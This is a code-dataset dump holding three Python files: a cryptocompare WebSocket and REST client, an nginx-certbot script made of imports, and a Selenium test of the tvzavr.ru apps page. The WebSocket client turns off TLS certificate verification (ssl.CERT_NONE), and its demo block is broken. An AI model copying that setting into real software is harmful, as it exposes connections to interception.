hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2b1a020570d29f81cc5a271f198169ca51111062
| 14,353
|
py
|
Python
|
cryptocmpy/stream.py
|
havocesp/cryptocmp
|
9a8aea09131ab375de8b8d53810fdc28c452594c
|
[
"Unlicense"
] | 2
|
2019-03-22T13:54:42.000Z
|
2021-12-17T01:12:55.000Z
|
cryptocmpy/stream.py
|
havocesp/cryptocmp
|
9a8aea09131ab375de8b8d53810fdc28c452594c
|
[
"Unlicense"
] | null | null | null |
cryptocmpy/stream.py
|
havocesp/cryptocmp
|
9a8aea09131ab375de8b8d53810fdc28c452594c
|
[
"Unlicense"
] | 1
|
2022-02-13T18:30:59.000Z
|
2022-02-13T18:30:59.000Z
|
# -*- coding: utf-8 -*-
"""cryptocmpy
stream module.
- Author:
- License:
- Created: 09-12-2018
- Modified: 09-12-2018
"""
# !/usr/bin/env python
# coding=utf-8
import json
import logging
import ssl
from pprint import pprint
import requests
import simplejson
import websocket
from events import Events
from six.moves.urllib.parse import urlencode
logging.basicConfig()
class Request(object):
def __init__(self, api):
self.api = api
def _is_wapi(self, path):
return path.endswith('.html')
def _get_base_path(self, path):
return self.api.wapi_base_path if self._is_wapi(path) else self.api.base_path
def _full_url(self, path):
return "%s://%s%s%s" % (self.api.protocol,
self.api.host,
self._get_base_path(path),
path)
def _full_url_with_params(self, path, params):
return (self._full_url(path) +
self._full_query_with_params(params))
def _full_query_with_params(self, params):
signature = params.pop("signature", None)
params = ("?" + urlencode(params)) if params else ""
if signature is not None:
params = params + "&signature=" + signature
return params
def _post_body(self, params):
signature = params.pop("signature", None)
body = list(params.items())
if signature is not None:
body = body + [("signature", signature)]
return body
def prepare_request(self, method, path, params):
url = body = None
headers = {}
if method == "GET" or self._is_wapi(path):
url = self._full_url_with_params(path, params)
else:
url = self._full_url(path)
body = self._post_body(params)
return url, method, body, headers
def make_request(self, url, method="GET", body=None, headers=None):
headers = headers or {}
if not 'User-Agent' in headers:
headers.update({"User-Agent": "%s Python Client" % self.api.api_name})
if method == "GET":
return requests.get(url, headers=headers)
elif method == "POST":
return requests.post(url, data=body, headers=headers)
elif method == "DELETE":
return requests.delete(url, data=body, headers=headers)
elif method == "PUT":
return requests.put(url, data=body, headers=headers)
class WebSocket(Events):
__events__ = ['callback']
def __init__(self, api, callback=None):
self.api = api
self.callback += callback
def _full_url(self, path):
return "%s://%s:%s%s%s" % (self.api.protocol,
self.api.host,
self.api.port,
self.api.base_path,
path)
def _on_message(self, ws, message):
data = simplejson.loads(message)
self.callback(data)
def _on_error(self, ws, error):
raise Exception(error)
def prepare_request(self, path):
url = self._full_url(path)
return url
def run_forever(self, url):
self.ws = websocket.WebSocketApp(url,
on_message=self._on_message,
on_error=self._on_error)
self.ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE})
if __name__ == '__main__':
"""
var currentPrice = {};
var socket = io.connect('https://streamer.cryptocompare.com/');
//Format: {SubscriptionId}~{ExchangeName}~{FromSymbol}~{ToSymbol}
//Use SubscriptionId 0 for TRADE, 2 for CURRENT, 5 for CURRENTAGG eg use key '5~CCCAGG~BTC~USD' to get aggregated data from the CCCAGG exchange
//Full Volume Format: 11~{FromSymbol} eg use '11~BTC' to get the full volume of BTC against all coin pairs
//For aggregate quote updates use CCCAGG ags market
var subscription = ['5~CCCAGG~BTC~USD', '5~CCCAGG~ETH~USD', '5~CCCAGG~BTS~USD', '5~CCCAGG~AMIS~ETH', '5~CCCAGG~EOS~USD', '5~EtherDelta~AMIS~ETH', '11~BTC', '11~ETH', '11~AMIS', '11~EOS', '11~BTS'];
socket.emit('SubAdd', { subs: subscription });
"""
resp = '{"Message":"Success","Type":100,"SponsoredData":[{"CoinInfo":{"Id":"925695","Name":"CRYP","FullName":"CrypticCoin","Internal":"CRYP","ImageUrl":"/media/34478470/cryp.png","Url":"/coins/cryp/overview","Algorithm":"Equihash","ProofType":"PoW","NetHashesPerSecond":0,"BlockNumber":0,"BlockTime":150,"BlockReward":0,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"multiply","ConversionSymbol":"ETH","CurrencyFrom":"CRYP","CurrencyTo":"USD","Market":"CCCAGG","Supply":4235111504,"TotalVolume24H":250098,"SubBase":"5~","SubsNeeded":["5~CCCAGG~CRYP~ETH","5~CCCAGG~ETH~USD"],"RAW":["5~CCCAGG~CRYP~ETH~4~0.0000192~1544300339~402~0.0077184~15443003390001~0~0~54031~0.86349896~0.0000192~0.0000192~0.0000192~0.0000125~0.0000192~0.0000125~BitMart~7ffe9","5~CCCAGG~ETH~USD~4~92.18~1544321213~5.7612~522.425616~79292315~66289.32459433934~6101340.02851251~1156244.4075028403~104262947.6211358~91.44~92.8~91.23~95.4~96.63~84.74~Bitstamp~7ffe9"]}}],"Data":[{"CoinInfo":{"Id":"899553","Name":"QKC","FullName":"QuarkChain","Internal":"QKC","ImageUrl":"/media/33434307/qkc.jpg","Url":"/coins/qkc/overview","Algorithm":"N/A","ProofType":"N/A","NetHashesPerSecond":0,"BlockNumber":0,"BlockTime":0,"BlockReward":0,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"multiply","ConversionSymbol":"BTC","CurrencyFrom":"QKC","CurrencyTo":"USD","Market":"CCCAGG","Supply":10000000000,"TotalVolume24H":88943915.67237386,"SubBase":"5~","SubsNeeded":["5~CCCAGG~QKC~BTC","5~CCCAGG~BTC~USD"],"RAW":["5~CCCAGG~QKC~BTC~2~0.00001241~1544321045~1856~0.023032959999999998~3693428~1835447.6359~22.726718932485024~72508948.7757~892.0942945021843~0.00001232~0.00001249~0.00001224~0.0000122~0.00001273~0.00001169~Binance~7ffe9","5~CCCAGG~BTC~USD~4~3472.49~1544321223~0.025~88~321781349~6657.23171709282~23072214.142127007~96019.43217157976~329544549.2833817~3461.07~3497.81~3450.96~3469.21~3648.45~3295.13~Bitfinex~7ffe9"]}},{"CoinInfo":{"Id":"5324","Name":"ETC","FullName":"Ethereum Classic","Internal":"ETC","ImageUrl":"/media/33752295/etc_new.png","Url":"/coins/etc/overview","Algorithm":"Ethash","ProofType":"PoW","NetHashesPerSecond":10676455206117,"BlockNumber":0,"BlockTime":18,"BlockReward":4,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"direct","ConversionSymbol":"","CurrencyFrom":"ETC","CurrencyTo":"USD","Market":"CCCAGG","Supply":106621116,"TotalVolume24H":31637832.880176764,"SubBase":"5~","SubsNeeded":["5~CCCAGG~ETC~USD"],"RAW":["5~CCCAGG~ETC~USD~4~3.92~1544321202~8.57591936~32.845771148800004~1198607~122707.18759963007~481633.7124224692~1745852.01144241~6637624.834149298~3.86~3.96~3.84~3.93~4.11~3.54~Coinbase~7ffe9"]}},{"CoinInfo":{"Id":"41192","Name":"MKR","FullName":"Maker","Internal":"MKR","ImageUrl":"/media/1382296/mkr.png","Url":"/coins/mkr/overview","Algorithm":"N/A","ProofType":"N/A","NetHashesPerSecond":0,"BlockNumber":0,"BlockTime":0,"BlockReward":0,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"multiply","ConversionSymbol":"ETH","CurrencyFrom":"MKR","CurrencyTo":"USD","Market":"CCCAGG","Supply":1000000,"TotalVolume24H":251.4925336099742,"SubBase":"5~","SubsNeeded":["5~CCCAGG~MKR~ETH","5~CCCAGG~ETH~USD"],"RAW":["5~CCCAGG~MKR~ETH~4~3.76~1544321166~0.01864~0.068036~15443211660001~1.1855931800000004~4.456786989583001~71.5357918~264.727296976391~3.74~3.8~3.73~3.6~4.07~3.6~BitMart~7ffe9","5~CCCAGG~ETH~USD~4~92.18~1544321213~5.7612~522.425616~79292315~66289.32459433934~6101340.02851251~1156244.4075028403~104262947.6211358~91.44~92.8~91.23~95.4~96.63~84.74~Bitstamp~7ffe9"]}},{"CoinInfo":{"Id":"808414","Name":"ONT","FullName":"Ontology","Internal":"ONT","ImageUrl":"/media/30001663/ont.jpg","Url":"/coins/ont/overview","Algorithm":"N/A","ProofType":"PoS","NetHashesPerSecond":0,"BlockNumber":0,"BlockTime":0,"BlockReward":0,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"multiply","ConversionSymbol":"BTC","CurrencyFrom":"ONT","CurrencyTo":"USD","Market":"CCCAGG","Supply":597000000,"TotalVolume24H":12602538.446397293,"SubBase":"5~","SubsNeeded":["5~CCCAGG~ONT~BTC","5~CCCAGG~BTC~USD"],"RAW":["5~CCCAGG~ONT~BTC~2~0.0001603~1544321198~0.5149~0.00008269294~3.150557753218847e+21~300713.88889999996~48.230378655623035~3511470.050580701~561.658526562526~0.0001606~0.0001628~0.0001585~0.0001677~0.0001692~0.0001562~HuobiPro~7ffe9","5~CCCAGG~BTC~USD~4~3472.49~1544321223~0.025~88~321781349~6657.23171709282~23072214.142127007~96019.43217157976~329544549.2833817~3461.07~3497.81~3450.96~3469.21~3648.45~3295.13~Bitfinex~7ffe9"]}},{"CoinInfo":{"Id":"186277","Name":"ZRX","FullName":"0x","Internal":"ZRX","ImageUrl":"/media/1383799/zrx.png","Url":"/coins/zrx/overview","Algorithm":"N/A","ProofType":"N/A","NetHashesPerSecond":0,"BlockNumber":0,"BlockTime":0,"BlockReward":0,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"direct","ConversionSymbol":"","CurrencyFrom":"ZRX","CurrencyTo":"USD","Market":"CCCAGG","Supply":1000000000,"TotalVolume24H":22383550.0317591,"SubBase":"5~","SubsNeeded":["5~CCCAGG~ZRX~USD"],"RAW":["5~CCCAGG~ZRX~USD~2~0.3209~1544321210~400.06241~127.84954461334002~653896~265685.27802439~84787.42136031465~4804910.665481832~1547908.3953761067~0.3164~0.3229~0.314~0.3263~0.3548~0.2965~Coinbase~7ffe9"]}},{"CoinInfo":{"Id":"24854","Name":"ZEC","FullName":"ZCash","Internal":"ZEC","ImageUrl":"/media/351360/zec.png","Url":"/coins/zec/overview","Algorithm":"Equihash","ProofType":"PoW","NetHashesPerSecond":2298303854,"BlockNumber":442690,"BlockTime":150,"BlockReward":10,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"direct","ConversionSymbol":"","CurrencyFrom":"ZEC","CurrencyTo":"USD","Market":"CCCAGG","Supply":5408631.25,"TotalVolume24H":2037036.5878676793,"SubBase":"5~","SubsNeeded":["5~CCCAGG~ZEC~USD"],"RAW":["5~CCCAGG~ZEC~USD~2~58.56~1544321165~0.135~7.68015~5099002300~1589.828537250001~92188.67942631632~38109.17697917001~2206995.4800954163~57.57~58.99~57.2~60.13~61.52~53.84~Gemini~7ffe9"]}},{"CoinInfo":{"Id":"177918","Name":"KIN","FullName":"Kin","Internal":"KIN","ImageUrl":"/media/1383731/kin.png","Url":"/coins/kin/overview","Algorithm":"N/A","ProofType":"N/A","NetHashesPerSecond":0,"BlockNumber":0,"BlockTime":0,"BlockReward":0,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"multiply","ConversionSymbol":"ETH","CurrencyFrom":"KIN","CurrencyTo":"USD","Market":"CCCAGG","Supply":10000000000000,"TotalVolume24H":2286207831.765236,"SubBase":"5~","SubsNeeded":["5~CCCAGG~KIN~ETH","5~CCCAGG~ETH~USD"],"RAW":["5~CCCAGG~KIN~ETH~4~3e-7~1544321168~800000~0.2416~413879359~84237693.4846058~25.78428411099625~2191014872.771424~654.4975878091137~3e-7~3.1e-7~3e-7~3.1e-7~3.1e-7~2.9e-7~HitBTC~7ffe9","5~CCCAGG~ETH~USD~4~92.18~1544321213~5.7612~522.425616~79292315~66289.32459433934~6101340.02851251~1156244.4075028403~104262947.6211358~91.44~92.8~91.23~95.4~96.63~84.74~Bitstamp~7ffe9"]}},{"CoinInfo":{"Id":"4432","Name":"DOGE","FullName":"Dogecoin","Internal":"DOGE","ImageUrl":"/media/19684/doge.png","Url":"/coins/doge/overview","Algorithm":"Scrypt","ProofType":"PoW","NetHashesPerSecond":0,"BlockNumber":2507501,"BlockTime":0,"BlockReward":0.0000217982700892857,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"direct","ConversionSymbol":"","CurrencyFrom":"DOGE","CurrencyTo":"USD","Market":"CCCAGG","Supply":117320780908.627,"TotalVolume24H":2476067790.095708,"SubBase":"5~","SubsNeeded":["5~CCCAGG~DOGE~USD"],"RAW":["5~CCCAGG~DOGE~USD~4~0.002059~1544320756~1576.13~3.2456299412000003~881393151~1648349.2590071496~3436.5754632987614~12992703.949136639~27497.25990458818~0.002085~0.00211~0.002029~0.002144~0.002167~0.002029~LiveCoin~7ffe9"]}},{"CoinInfo":{"Id":"309621","Name":"LINK","FullName":"ChainLink","Internal":"LINK","ImageUrl":"/media/12318078/link.png","Url":"/coins/link/overview","Algorithm":"N/A","ProofType":"N/A","NetHashesPerSecond":0,"BlockNumber":0,"BlockTime":0,"BlockReward":0,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"multiply","ConversionSymbol":"BTC","CurrencyFrom":"LINK","CurrencyTo":"USD","Market":"CCCAGG","Supply":1000000000,"TotalVolume24H":8234694.2510482455,"SubBase":"5~","SubsNeeded":["5~CCCAGG~LINK~BTC","5~CCCAGG~BTC~USD"],"RAW":["5~CCCAGG~LINK~BTC~2~0.00006515~1544321191~177~0.01153155~4211770~390032.1669999996~25.520201515819974~6769969.299000001~452.9149612988601~0.00006554~0.00006599~0.000065~0.00006444~0.00007253~0.00006187~Binance~7ffe9","5~CCCAGG~BTC~USD~4~3472.49~1544321223~0.025~88~321781349~6657.23171709282~23072214.142127007~96019.43217157976~329544549.2833817~3461.07~3497.81~3450.96~3469.21~3648.45~3295.13~Bitfinex~7ffe9"]}},{"CoinInfo":{"Id":"236131","Name":"VET","FullName":"Vechain","Internal":"VET","ImageUrl":"/media/12318129/ven.png","Url":"/coins/vet/overview","Algorithm":"N/A","ProofType":"N/A","NetHashesPerSecond":0,"BlockNumber":0,"BlockTime":0,"BlockReward":0,"Type":1,"DocumentType":"Webpagecoinp"},"ConversionInfo":{"Conversion":"multiply","ConversionSymbol":"BTC","CurrencyFrom":"VET","CurrencyTo":"USD","Market":"CCCAGG","Supply":55454734800,"TotalVolume24H":1071201822.7902359,"SubBase":"5~","SubsNeeded":["5~CCCAGG~VET~BTC","5~CCCAGG~BTC~USD"],"RAW":["5~CCCAGG~VET~BTC~4~0.00000113~1544321186~19999~0.0224088795~3.150556268318847e+21~30597749.88641545~34.33085387963225~485084510.8370318~551.7678869016247~0.00000113~0.00000113~0.00000112~0.00000116~0.00000118~0.00000111~HuobiPro~7ffe9","5~CCCAGG~BTC~USD~4~3472.49~1544321223~0.025~88~321781349~6657.23171709282~23072214.142127007~96019.43217157976~329544549.2833817~3461.07~3497.81~3450.96~3469.21~3648.45~3295.13~Bitfinex~7ffe9"]}}],"RateLimit":{},"HasWarning":false}'
data = json.loads(resp)
pprint(data)
def callback(*args, **kwargs):
print(len(args))
print(len(kwargs))
subscription = ['5~CCCAGG~BTC~USD', '5~CCCAGG~ETH~USD', '5~CCCAGG~BTS~USD', '5~CCCAGG~AMIS~ETH', '5~CCCAGG~EOS~USD',
'5~EtherDelta~AMIS~ETH', '11~BTC', '11~ETH', '11~AMIS', '11~EOS', '11~BTS']
ws = WebSocket('https://streamer.cryptocompare.com/', callback)
ws.prepare_request()
| 98.308219
| 9,673
| 0.693862
| 1,899
| 14,353
| 5.199052
| 0.278568
| 0.033323
| 0.011142
| 0.014484
| 0.454371
| 0.372531
| 0.36139
| 0.334853
| 0.316419
| 0.286539
| 0
| 0.240847
| 0.092246
| 14,353
| 145
| 9,674
| 98.986207
| 0.516924
| 0.010729
| 0
| 0.150538
| 0
| 0.010753
| 0.741677
| 0.719382
| 0
| 0
| 0
| 0
| 0
| 1
| 0.172043
| false
| 0
| 0.096774
| 0.053763
| 0.44086
| 0.043011
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
2b491f1d33804594d78ba495ec44df65bc082185
| 182
|
py
|
Python
|
nginx-certbot/scripts/nginx.py
|
abdullatifmouhamadi/docker-common
|
76b952e4272bf3788a38f20c0b1f249116e6dced
|
[
"MIT"
] | null | null | null |
nginx-certbot/scripts/nginx.py
|
abdullatifmouhamadi/docker-common
|
76b952e4272bf3788a38f20c0b1f249116e6dced
|
[
"MIT"
] | null | null | null |
nginx-certbot/scripts/nginx.py
|
abdullatifmouhamadi/docker-common
|
76b952e4272bf3788a38f20c0b1f249116e6dced
|
[
"MIT"
] | null | null | null |
from sh import cp, ls, printenv, Command, echo, chown, mkdir, wget, unzip, rm, php, chmod, mv
from sh.contrib import git
import sh, contextlib, os
#from config import
import sys
| 20.222222
| 93
| 0.730769
| 30
| 182
| 4.433333
| 0.733333
| 0.090226
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.181319
| 182
| 8
| 94
| 22.75
| 0.892617
| 0.098901
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0.25
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
2b4bfe3b4e5f4606497efa149d4edd4ac6e4af1f
| 20,347
|
py
|
Python
|
test_case_6_3.py
|
Alekseybykov126/autotesting
|
7febd5717f7d677ce7c1fc2d1c8a3b9c8e0ed902
|
[
"Apache-2.0"
] | null | null | null |
test_case_6_3.py
|
Alekseybykov126/autotesting
|
7febd5717f7d677ce7c1fc2d1c8a3b9c8e0ed902
|
[
"Apache-2.0"
] | null | null | null |
test_case_6_3.py
|
Alekseybykov126/autotesting
|
7febd5717f7d677ce7c1fc2d1c8a3b9c8e0ed902
|
[
"Apache-2.0"
] | null | null | null |
from .page import *
def case_6_3(self, full_screen):
self.driver.get("https://www.tvzavr.ru/")
self.page.loger_info('\n Тест кейс № 6_3 tvweb_new-6_3: Проверка ссылок и вкладок в разделе Приложения \n')
time.sleep(1)
self.page.click_f('Переход_вниз_страницы', 1)
time.sleep(3)
self.page.click_f('Переход_вниз_страницы', 2)
time.sleep(2)
self.driver.find_element_by_xpath('.//a[@href="/apps/"]').click() # Клик раздел Приложения
time.sleep(2)
self.page.loger('Шаг 3. Переход на вкладку "Smart TV"')
self.page.waitForElementVisible('.//h1[@class="apps__heading superheading-1"]', 10)
res_txt = str(self.result.find_link("h1", "apps__heading superheading-1"))
assert('Смотри tvzavr'), ('на любых устройствах') in res_txt
self.page.loger('Переход на вкладку "Smart TV" потвержден')
time.sleep(2)
self.page.loger('Шаг 4. Проверка наличия содержания страницы')
self.page.waitForElementVisible('.//div[@class="apps__content apps-smart"]', 10) # Проверка наличия текста
res_txt = str(self.result.find_link("div", "apps__content apps-smart"))
assert('Выбери модель своего телевизора') in res_txt
assert('Для привязки устройств следуй инструкции') in res_txt
self.page.loger('Наличие содержания подтверждено')
time.sleep(2)
self.page.loger('Шаг 5. Проверка инструкции LG WebOS')
self.driver.find_element_by_xpath('.//button[@data-modal="apps-smart-lg-after2015"]').click() # Клик на LG WebOS
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="modal__content apps-info js-modal-content modal__content_open"]', 10) # Ожидание появления инструкции и проверка её содержания
res_txt = str(self.result.find_link("div", "modal__content apps-info js-modal-content modal__content_open"))
assert('LG WebOS'), ('2015') in res_txt
assert('Инструкция по установке приложения') in res_txt
assert('1. В поиске написать «tvzavr» и открыть приложение') in res_txt
assert('2. Нажать «Установить», а затем «Запустить»') in res_txt
assert('Теперь приложение находится в нижнем меню') in res_txt
assert('Как переместить приложение в удобное место') in res_txt
assert('1. В нижнем меню нажать кнопку «Карандаш» (в самом конце)') in res_txt
assert('2. Выбрать приложение «tvzavr» и нажать «ОК»') in res_txt
assert('3. Перенести в удобное место и нажать «ОК»') in res_txt
assert('Теперь Вы сможете быстро найти Ваше любимое приложение!') in res_txt
assert('Как авторизоваться') in res_txt
assert('1. В приложении перейти в раздел «Профиль»') in res_txt
assert('2. Ввести логин и пароль') in res_txt
assert('3. Если нет учетной записи, то нужно нажать «Регистрация»') in res_txt
assert('Теперь все Ваши покупки и подписки доступны на Smart TV!') in res_txt
self.page.loger('Содержание инструкции LG WebOS подтверждено')
time.sleep(1)
self.driver.find_element_by_xpath('.//button[@class="modal__close"]').click() # Клик крестик на инструкции
time.sleep(2)
self.page.loger('Шаг 6. Проверка инструкции LG NetCast')
self.driver.find_element_by_xpath('.//button[@data-modal="apps-smart-lg-until2015"]').click() # Клик на LG NetCast
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="modal__content apps-info js-modal-content modal__content_open"]', 10) # Ожидание появления инструкции и проверка её содержания
res_txt = str(self.result.find_link("div", "modal__content apps-info js-modal-content modal__content_open"))
assert('LG NetCast'), ('2015') in res_txt
assert('Инструкция по установке приложения') in res_txt
assert('2. Нажать «Установить», а затем «Запустить»') in res_txt
assert('Теперь приложение находится в нижнем меню') in res_txt
assert('Как переместить приложение в удобное место') in res_txt
assert('1. В правом верхнем углу нажать кнопку «Изменить» (карандаш)') in res_txt
assert('2. Выбрать приложение «tvzavr» и нажать «Переместить»') in res_txt
assert('3. Перенести в удобное место и нажать «ОК»') in res_txt
assert('Теперь Вы сможете быстро найти Ваше любимое приложение!') in res_txt
assert('Как авторизоваться') in res_txt
assert('3. Если нет учетной записи, то нужно нажать «Регистрация»') in res_txt
assert('Теперь все Ваши покупки и подписки доступны на Smart TV!') in res_txt
self.page.loger('Содержание инструкции LG NetCast подтверждено')
time.sleep(1)
self.driver.find_element_by_xpath('.//button[@class="modal__close"]').click() # Клик крестик на инструкции
time.sleep(2)
# Инструкция Samsung Tizen TV
self.page.loger('Шаг 7. Проверка инструкции Tizen TV')
self.driver.find_element_by_xpath('.//button[@data-modal="apps-smart-samsung-tizen-after2015"]').click() # Клик на Samsung Tizen TV
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="modal__content apps-info js-modal-content modal__content_open"]', 10) # Ожидание появления инструкции и проверка её содержания
res_txt = str(self.result.find_link("div", "modal__content apps-info js-modal-content modal__content_open"))
assert('Samsung Tizen'), ('2015') in res_txt
assert('Инструкция по установке приложения') in res_txt
assert('1. В поиске написать «tvzavr» и открыть приложение') in res_txt
assert('Теперь приложение находится в нижнем меню') in res_txt
assert('Как переместить приложение в удобное место') in res_txt
assert('1. Перейти в раздел «Apps» и выбрать «tvzavr»') in res_txt
assert('2. Нажать стрелку «^» и выбрать «Добавить на главный экран»') in res_txt
assert('3. Нажать стрелку «↓» и выбрать «Переместить»') in res_txt
assert('4. Перенести в удобное место и нажать «ОК»') in res_txt
assert('Теперь Вы сможете быстро найти Ваше любимое приложение!') in res_txt
assert('Как авторизоваться') in res_txt
assert('1. В приложении перейти в раздел «Профиль»') in res_txt
assert('2. Ввести логин и пароль') in res_txt
assert('3. Если нет учетной записи, то нужно нажать «Регистрация»') in res_txt
assert('Теперь все Ваши покупки и подписки доступны на Smart TV!') in res_txt
self.page.loger('Содержание инструкции Samsung Tizen TV подтверждено')
time.sleep(1)
self.driver.find_element_by_xpath('.//button[@class="modal__close"]').click() # Клик крестик на инструкции
time.sleep(2)
# Инструкция Samsung Orsay TV
self.page.loger('Шаг 8. Проверка инструкции Samsung Orsay TV')
self.driver.find_element_by_xpath('.//button[@data-modal="apps-smart-samsung-orsay-until2015"]').click() # Клик на Samsung Orsay TV
time.sleep(2)
self.page.waitForElementVisible('.//div[@class="modal__content apps-info js-modal-content modal__content_open"]', 10) # Ожидание появления инструкции и проверка её содержания
res_txt = str(self.result.find_link("div", "modal__content apps-info js-modal-content modal__content_open"))
assert('Samsung Orsay'), ('2015') in res_txt
assert('Инструкция по установке приложения') in res_txt
assert('1. Открыть приложение и перейти в раздел «Видео»') in res_txt
assert('2. Выбрать приложение «tvzavr»') in res_txt
assert('Теперь приложение находится в нижнем меню') in res_txt
assert('Как переместить приложение в удобное место') in res_txt
assert('1. Нажать стрелку «^» и выбрать «Закрепить»') in res_txt
assert('2. После этого приложение станет первым в списке') in res_txt
assert('Теперь Вы сможете быстро найти Ваше любимое приложение!') in res_txt
assert('Как авторизоваться') in res_txt
